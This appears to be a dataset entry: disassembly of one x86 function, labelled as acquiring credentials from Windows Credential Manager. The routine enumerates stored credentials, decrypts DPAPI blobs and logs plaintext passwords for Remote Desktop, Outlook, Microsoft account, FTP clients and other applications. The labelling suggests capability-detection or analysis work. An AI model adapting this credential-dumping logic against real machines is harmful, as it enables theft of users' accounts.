Function at 0x4361f9
Capabilities:
Acquire credentials from windows credential manager

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xc35c
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, 0x270f
lea eax, [ebp - 0x7533]
xor ebx, ebx
push esi
push ebx
push eax
mov byte [ebp - 0x7534], bl
call fcn.00626f50
push esi
lea eax, [ebp - 0x4e23]
mov byte [ebp - 0x4e24], bl
push ebx
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0x9c43]
mov byte [ebp - 0x9c44], bl
push ebx
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0x2713]
mov byte [ebp - 0x2714], bl
push ebx
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0xc353]
mov byte [ebp - 0xc354], bl
push ebx
push eax
call fcn.00626f50
push str.RecoverPasswordsFromCredManager
push str._s_entered_
call fcn.00449974
add esp, 0x44
lea eax, [ebp - 0xc358]
push eax
lea eax, [ebp - 0xc35c]
push eax
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_CredEnumerateA]
test eax, eax
jne 0x4362c9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.RecoverPasswordsFromCredManager
push str.__s_:_CredEnumerate_failed_with_error_0x_.8x
call fcn.00449974
add esp, 0xc
xor eax, eax
jmp 0x436ec0
push dword [ebp - 0xc35c]
mov esi, str.RecoverPasswordsFromCredManager
push esi
push str._s_:_CredEnumerate_found__d_accounts
call fcn.00449974
add esp, 0xc
cmp dword [ebp - 0xc35c], ebx
jbe 0x436ea0
push edi
mov edi, 0x2710
mov eax, dword [ebp - 0xc358]
mov eax, dword [eax + ebx*4]
push dword [eax + 8]
push dword [eax + 0x18]
push dword [eax + 0x30]
push dword [eax + 4]
push esi
push str._s_:_Found_Credential___type_d__user_s__pass_len_d__target_s
call fcn.00449974
mov ecx, dword [ebp - 0xc358]
xor edx, edx
add esp, 0x18
mov eax, dword [ecx + ebx*4]
cmp dword [eax + 0x1c], edx
je 0x436e77
cmp dword [eax + 0x18], edx
je 0x436e77
mov byte [ebp - 0x9c44], dl
mov byte [ebp - 0x4e24], dl
mov byte [ebp - 0x7534], dl
mov eax, dword [ecx + ebx*4]
push dword [eax + 8]
lea eax, [ebp - 0x9c44]
push edi
push eax
call fcn.006311ec
mov eax, dword [ebp - 0xc358]
mov eax, dword [eax + ebx*4]
push dword [eax + 8]
lea eax, [ebp - 0x2714]
push edi
push eax
call fcn.006311ec
lea eax, [ebp - 0x2714]
push eax
call fcn.00631510
inc eax
push eax
lea eax, [ebp - 0x2714]
push eax
call fcn.00631711
lea eax, [ebp - 0x2714]
push str.:oauth2:
push eax
call fcn.00627320
add esp, 0x2c
test eax, eax
jne 0x436e5f
lea eax, [ebp - 0x2714]
push str.adobe_app
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
jne 0x436e5f
lea eax, [ebp - 0x2714]
push str.adobe_user
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
jne 0x436e5f
lea eax, [ebp - 0x2714]
push str.sso_pop_device
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
jne 0x436e5f
lea eax, [ebp - 0x2714]
push str.virtualapp_didlogical
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
jne 0x436e5f
lea eax, [ebp - 0x2714]
push str.microsoftoffice
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
je 0x436446
lea eax, [ebp - 0x2714]
push str.:oauth
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
jne 0x436e5f
lea eax, [ebp - 0x2714]
push str.drivefs
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
jne 0x436e5f
lea eax, [ebp - 0x2714]
push str.whatsapp
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
jne 0x436e5f
lea eax, [ebp - 0x2714]
push str.onedrive_cached_credential
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
jne 0x436e5f
lea eax, [ebp - 0x2714]
push str.skype_for_desktop
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
jne 0x436e5f
lea eax, [ebp - 0x2714]
push str.yandex.browser
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
jne 0x436e5f
push esi
push str._s_:__copying_username_password_data
call fcn.00449974
pop ecx
pop ecx
mov ecx, dword [ebp - 0xc358]
mov eax, dword [ecx + ebx*4]
cmp dword [eax + 0x30], 0
je 0x436502
push dword [eax + 0x30]
lea eax, [ebp - 0x7534]
push edi
push eax
call fcn.006311ec
mov ecx, dword [ebp - 0xc358]
add esp, 0xc
mov eax, dword [ecx + ebx*4]
mov esi, dword [eax + 0x18]
mov edi, dword [eax + 0x1c]
cmp esi, 0x10
jbe 0x4366e4
push 0x10
push section..data
push edi
call fcn.0062534d
add esp, 0xc
test eax, eax
jne 0x4366e4
push esi
push str.RecoverPasswordsFromCredManager
push str._s_Password_is_DPAPI_Blob__size_d_....need_to_decrypt_it_now
call fcn.00449974
lea eax, [ebp - 0x2714]
push str.microsoft_wininet_
push eax
call fcn.00627320
add esp, 0x14
push str.RecoverPasswordsFromCredManager
test eax, eax
je 0x43667a
push str._s__Found_IE_http_auth_Credential__n_n
call fcn.00449974
xor eax, eax
mov byte [ebp - 0x4e24], al
mov byte [ebp - 0x7534], al
mov byte [ebp - 0x9c44], al
lea eax, [ebp - 0x4e24]
push eax
lea eax, [ebp - 0x7534]
push eax
push esi
push edi
call fcn.0040901f
add esp, 0x18
test eax, eax
je 0x436e31
lea eax, [ebp - 0x4e24]
push eax
lea eax, [ebp - 0x7534]
push eax
push str.RecoverPasswordsFromCredManager
push str._s_Successfully_decrypted_IE_http_auth_credential__user_s__pass_s
call fcn.00449974
lea eax, [ebp - 0x9c44]
push 0x2f
push eax
call fcn.006270b0
add esp, 0x18
test eax, eax
je 0x4365d0
mov byte [eax], 0
lea eax, [ebp - 0x2714]
push str.:443
push eax
call fcn.00627320
push str.Microsoft_WinInet_
mov esi, eax
call fcn.00631510
lea ecx, [ebp - 0x9c44]
add ecx, eax
test esi, esi
push ecx
mov eax, str.https:___s
mov ecx, str.http:___s
cmovne ecx, eax
mov esi, 0x2710
push ecx
lea eax, [ebp - 0xc354]
push esi
push eax
call fcn.00445d6d
lea eax, [ebp - 0xc354]
push eax
lea eax, [ebp - 0x9c44]
push esi
push eax
call fcn.006311ec
lea eax, [ebp - 0x2714]
push str.microsoft_wininet_www.google.com
push eax
call fcn.00627320
add esp, 0x30
mov edi, 0x66ae5d
test eax, eax
lea eax, [ebp - 0x4e24]
push 0xffffffffffffffff
push edi
push eax
lea eax, [ebp - 0x7534]
push eax
lea eax, [ebp - 0x9c44]
push eax
push edi
je 0x436676
push 0x106
push 8
call fcn.00412c85
add esp, 0x20
jmp 0x436e31
push 0
jmp 0x436667
push str._s__Found__general__encrypted_password_blob..decrypting_now__n_n
call fcn.00449974
lea eax, [ebp - 0x4e24]
push eax
mov eax, dword [ebp - 0xc358]
push esi
push edi
mov eax, dword [eax + ebx*4]
push dword [eax + 4]
call fcn.004091b2
add esp, 0x18
test eax, eax
je 0x436e31
lea eax, [ebp - 0x4e24]
push eax
push str.RecoverPasswordsFromCredManager
push str._s_Successfully_decrypted_credential_password_blob...pass_s
call fcn.00449974
push 0xffffffffffffffff
mov edi, 0x66ae5d
lea eax, [ebp - 0x4e24]
push edi
push eax
lea eax, [ebp - 0x7534]
push eax
lea eax, [ebp - 0x9c44]
push eax
push edi
push 0xffffffffffffffff
jmp 0x436de9
cmp esi, 0x32
jbe 0x4369c3
push str.RecoverPasswordsFromCredManager
push str._s__password_length_more_than_25_chars...mostly_invalid_password..checking_special_cases...
call fcn.00449974
lea eax, [ebp - 0x2714]
push str.appsense_datanow_
push eax
call fcn.00627320
add esp, 0x10
test eax, eax
je 0x43681b
mov esi, str.RecoverPasswordsFromCredManager
push esi
push str._s__Found_Ivanti_FileDirector__Appsense_Datanow__Credential
call fcn.00449974
xor eax, eax
push edi
push str.AppN_DN_Win
mov byte [ebp - 0x4e24], al
mov byte [ebp - 0x7534], al
mov byte [ebp - 0x9c44], al
call fcn.00631370
add esp, 0x10
test eax, eax
jne 0x436e31
cmp dword [edi + 0xc], eax
je 0x4367b2
lea eax, [ebp - 0x4e24]
push eax
push dword [edi + 0xc]
lea eax, [edi + 0x14]
push eax
push 5
call fcn.004091b2
add esp, 0x10
test eax, eax
je 0x4367b2
lea eax, [ebp - 0x4e24]
push eax
push esi
push str._s_Successfully_decrypted_Appsense_credential_blob...pass_s
call fcn.00449974
push 0xffffffffffffffff
mov ecx, 0x66ae5d
lea eax, [ebp - 0x4e24]
push ecx
push eax
lea eax, [ebp - 0x7534]
push eax
lea eax, [ebp - 0x9c44]
push eax
push ecx
push 0x2d4
push 8
call fcn.00412c85
add esp, 0x2c
cmp dword [edi + 0x10], 0
je 0x436e31
lea eax, [ebp - 0x4e24]
push eax
mov eax, dword [edi + 0xc]
push dword [edi + 0x10]
add eax, 0x14
add eax, edi
push eax
push 5
call fcn.004091b2
add esp, 0x10
test eax, eax
je 0x436e31
lea eax, [ebp - 0x4e24]
push eax
push esi
push str._s_Successfully_decrypted_Appsense_credential_unk_blob...pass_s
call fcn.00449974
push 0xffffffffffffffff
mov edi, 0x66ae5d
lea eax, [ebp - 0x4e24]
push edi
push eax
lea eax, [ebp - 0x7534]
push eax
lea eax, [ebp - 0x9c44]
push eax
push edi
push 0x2d4
jmp 0x436de9
cmp esi, 0x3e8
jae 0x436e31
cmp byte [edi + 1], 0
jne 0x43686a
shr esi, 1
push esi
push str.RecoverPasswordsFromCredManager
push str._s___Password_is_in_Unicode___length_d
call fcn.00449974
add esp, 0xc
lea eax, [ebp - 0x4e24]
xor ecx, ecx
push ecx
push ecx
push 0x2710
push eax
push esi
push edi
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
cmp esi, 0x2710
jae 0x436ece
jmp 0x436890
push esi
push str.RecoverPasswordsFromCredManager
push str._s___Password_is_in_ASCII___length_d
call fcn.00449974
push esi
push edi
lea eax, [ebp - 0x4e24]
push 0x2710
push eax
call fcn.00631360
add esp, 0x1c
mov byte [ebp + esi - 0x4e24], 0
mov esi, str.ftp:__
push esi
call fcn.00631510
push eax
lea eax, [ebp - 0x2714]
push esi
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
je 0x4369ad
mov esi, str.ftps:__
push esi
call fcn.00631510
push eax
lea eax, [ebp - 0x2714]
push esi
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
je 0x4369ad
mov esi, str.sftp:__
push esi
call fcn.00631510
push eax
lea eax, [ebp - 0x2714]
push esi
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
je 0x4369ad
mov esi, 0x6772b0
push esi
call fcn.00631510
push eax
lea eax, [ebp - 0x2714]
push esi
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
je 0x4369ad
mov esi, 0x6772b8
push esi
call fcn.00631510
push eax
lea eax, [ebp - 0x2714]
push esi
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
je 0x4369ad
mov esi, str.file:__
push esi
call fcn.00631510
push eax
lea eax, [ebp - 0x2714]
push esi
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
je 0x4369ad
mov esi, str.duck:
push esi
call fcn.00631510
push eax
lea eax, [ebp - 0x2714]
push esi
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
je 0x4369ad
push 0xffffffffffffffff
mov edi, 0x66ae5d
lea eax, [ebp - 0x4e24]
push edi
push eax
lea eax, [ebp - 0x7534]
push eax
lea eax, [ebp - 0x9c44]
push eax
push edi
push 0xffffffffffffffff
jmp 0x436667
lea eax, [ebp - 0x2714]
push eax
push str.RecoverPasswordsFromCredManager
push str._s_:_Found_New_CyberDuck_FTP_credential__s
jmp 0x436dc1
push esi
push str.RecoverPasswordsFromCredManager
push str._s_Password_is_in_plain_text__size_d_...copying_it_now
call fcn.00449974
add esp, 0xc
cmp esi, 2
jb 0x436a1f
cmp byte [edi + 1], 0
jne 0x436a1f
shr esi, 1
push esi
push str.RecoverPasswordsFromCredManager
push str._s___Password_is_in_Unicode___length_d
call fcn.00449974
add esp, 0xc
lea eax, [ebp - 0x4e24]
xor ecx, ecx
push ecx
push ecx
push 0x2710
push eax
push esi
push edi
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, 0x2710
cmp esi, edi
jae 0x436ece
jmp 0x436a46
push esi
push str.RecoverPasswordsFromCredManager
push str._s___Password_is_in_ASCII___length_d
call fcn.00449974
push esi
push edi
mov edi, 0x2710
lea eax, [ebp - 0x4e24]
push edi
push eax
call fcn.00631360
add esp, 0x1c
lea eax, [ebp - 0x2714]
mov byte [ebp + esi - 0x4e24], 0
push str.termsrv_
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
je 0x436ac9
lea eax, [ebp - 0x9c44]
push 0x2f
push eax
call fcn.006270b0
pop ecx
pop ecx
test eax, eax
je 0x436a8b
inc eax
push eax
lea eax, [ebp - 0x9c44]
push edi
push eax
call fcn.006311ec
add esp, 0xc
lea eax, [ebp - 0x9c44]
push eax
push str.RecoverPasswordsFromCredManager
push str._n_n__s____Found_Remote_Desktop_password___server_s
call fcn.00449974
push 0xffffffffffffffff
mov edi, 0x66ae5d
lea eax, [ebp - 0x4e24]
push edi
push eax
lea eax, [ebp - 0x7534]
push eax
lea eax, [ebp - 0x9c44]
push eax
push edi
push 0x2c2
jmp 0x436de9
lea eax, [ebp - 0x2714]
push str.gopro_desktop_app
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
je 0x436b11
push str.RecoverPasswordsFromCredManager
push str._n_n__s____Found_GoPro_Desktop_password
call fcn.00449974
push 0xffffffffffffffff
mov edi, 0x66ae5d
lea eax, [ebp - 0x4e24]
push edi
push eax
lea eax, [ebp - 0x7534]
push eax
push edi
push edi
push 0x2c6
jmp 0x436e27
lea eax, [ebp - 0x2714]
push str.windowslive
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
je 0x436b56
push str.RecoverPasswordsFromCredManager
push str._n_n__s____Found_Windows_Live_password
call fcn.00449974
push 0xffffffffffffffff
mov edi, 0x66ae5d
lea eax, [ebp - 0x4e24]
push edi
push eax
lea eax, [ebp - 0x7534]
push eax
push edi
push edi
push 0x69
jmp 0x436e27
lea eax, [ebp - 0x2714]
push str.microsoftaccount:
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
je 0x436b9e
push str.RecoverPasswordsFromCredManager
push str._n_n__s____Found_Microsoft_account_password
call fcn.00449974
push 0xffffffffffffffff
mov edi, 0x66ae5d
lea eax, [ebp - 0x4e24]
push edi
push eax
lea eax, [ebp - 0x7534]
push eax
push edi
push edi
push 0x2d5
jmp 0x436e27
lea eax, [ebp - 0x2714]
push str.microsoftoffice16_data
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
jne 0x436df5
lea eax, [ebp - 0x2714]
push str.microsoftoffice15_data
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
jne 0x436df5
mov esi, str.ftp:__
push esi
call fcn.00631510
push eax
lea eax, [ebp - 0x2714]
push esi
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
je 0x436db0
mov esi, str.ftps:__
push esi
call fcn.00631510
push eax
lea eax, [ebp - 0x2714]
push esi
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
je 0x436db0
mov esi, str.sftp:__
push esi
call fcn.00631510
push eax
lea eax, [ebp - 0x2714]
push esi
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
je 0x436db0
mov esi, 0x6772b0
push esi
call fcn.00631510
push eax
lea eax, [ebp - 0x2714]
push esi
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
je 0x436db0
mov esi, 0x6772b8
push esi
call fcn.00631510
push eax
lea eax, [ebp - 0x2714]
push esi
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
je 0x436db0
mov esi, str.file:__
push esi
call fcn.00631510
push eax
lea eax, [ebp - 0x2714]
push esi
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
je 0x436db0
mov esi, str.duck:
push esi
call fcn.00631510
push eax
lea eax, [ebp - 0x2714]
push esi
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
je 0x436db0
cmp byte [ebp - 0x2714], 0x7b
jne 0x436d33
lea eax, [ebp - 0x2714]
push eax
call fcn.00631510
pop ecx
cmp byte [ebp + eax - 0x2715], 0x7d
jne 0x436d33
cmp byte [ebp - 0x7534], 0
jne 0x436d33
mov ecx, dword [ebp - 0xc358]
mov eax, dword [ecx + ebx*4]
cmp dword [eax + 0x20], 2
jne 0x436d39
push str.RecoverPasswordsFromCredManager
push str._n_n__s____Found_Vmware_workstation_password
call fcn.00449974
push 0xffffffffffffffff
mov edi, 0x66ae5d
lea eax, [ebp - 0x4e24]
push edi
push eax
push edi
push edi
push edi
push 0x2d6
jmp 0x436e27
mov ecx, dword [ebp - 0xc358]
mov eax, dword [ecx + ebx*4]
cmp dword [eax + 4], 2
jne 0x436d7f
cmp dword [eax + 0x20], 3
jne 0x436d7f
push str.RecoverPasswordsFromCredManager
push str._n_n__s____Found_Domain_network_password_or_outlook_exchange_password
call fcn.00449974
push 0xffffffffffffffff
mov edi, 0x66ae5d
lea eax, [ebp - 0x4e24]
push edi
push eax
lea eax, [ebp - 0x7534]
push eax
lea eax, [ebp - 0x9c44]
push eax
push edi
push 0x2d7
jmp 0x436e27
push str.RecoverPasswordsFromCredManager
push str._n_n__s____Found_unknown_app_password
call fcn.00449974
push 0xffffffffffffffff
mov edi, 0x66ae5d
lea eax, [ebp - 0x4e24]
push edi
push eax
lea eax, [ebp - 0x7534]
push eax
lea eax, [ebp - 0x9c44]
push eax
push edi
push 0xffffffffffffffff
jmp 0x436e27
lea eax, [ebp - 0x2714]
push eax
push str.RecoverPasswordsFromCredManager
push str._s_:_Found_CyberDuck_FTP_credential__s
call fcn.00449974
push 0xffffffffffffffff
mov edi, 0x66ae5d
lea eax, [ebp - 0x4e24]
push edi
push eax
lea eax, [ebp - 0x7534]
push eax
lea eax, [ebp - 0x9c44]
push eax
push edi
push 0x135
push 8
call fcn.00412c85
add esp, 0x2c
jmp 0x436e31
push str.RecoverPasswordsFromCredManager
push str._n_n__s____Found_Outlook_password
call fcn.00449974
push 0xffffffffffffffff
mov edi, 0x66ae5d
lea eax, [ebp - 0x4e24]
push edi
push eax
lea eax, [ebp - 0x7534]
push eax
lea eax, [ebp - 0x9c44]
push eax
push edi
push 0xfc
push 8
call fcn.00412c85
add esp, 0x28
lea eax, [ebp - 0x4e24]
push eax
lea eax, [ebp - 0x7534]
push eax
lea eax, [ebp - 0x9c44]
push eax
push str.RecoverPasswordsFromCredManager
push str._s_Processed_Credential:_Server_s__Username_s__Password_s
call fcn.00449974
add esp, 0x14
mov edi, 0x2710
jmp 0x436e8c
mov eax, dword [ebp - 0xc358]
mov eax, dword [eax + ebx*4]
push dword [eax + 8]
push str.RecoverPasswordsFromCredManager
push str._s_:__Ignoring_target___s
jmp 0x436e84
push dword [eax + 8]
push str.RecoverPasswordsFromCredManager
push 0x677264
call fcn.00449974
add esp, 0xc
inc ebx
cmp ebx, dword [ebp - 0xc35c]
jae 0x436e9f
mov esi, str.RecoverPasswordsFromCredManager
jmp 0x4362f4
pop edi
push dword [ebp - 0xc358]
call dword [sym.imp.ADVAPI32.dll_CredFree]
push str.RecoverPasswordsFromCredManager
push str._n_n_s___Finished_...
call fcn.00449974
pop ecx
xor eax, eax
pop ecx
inc eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret
call fcn.005fe87a
int3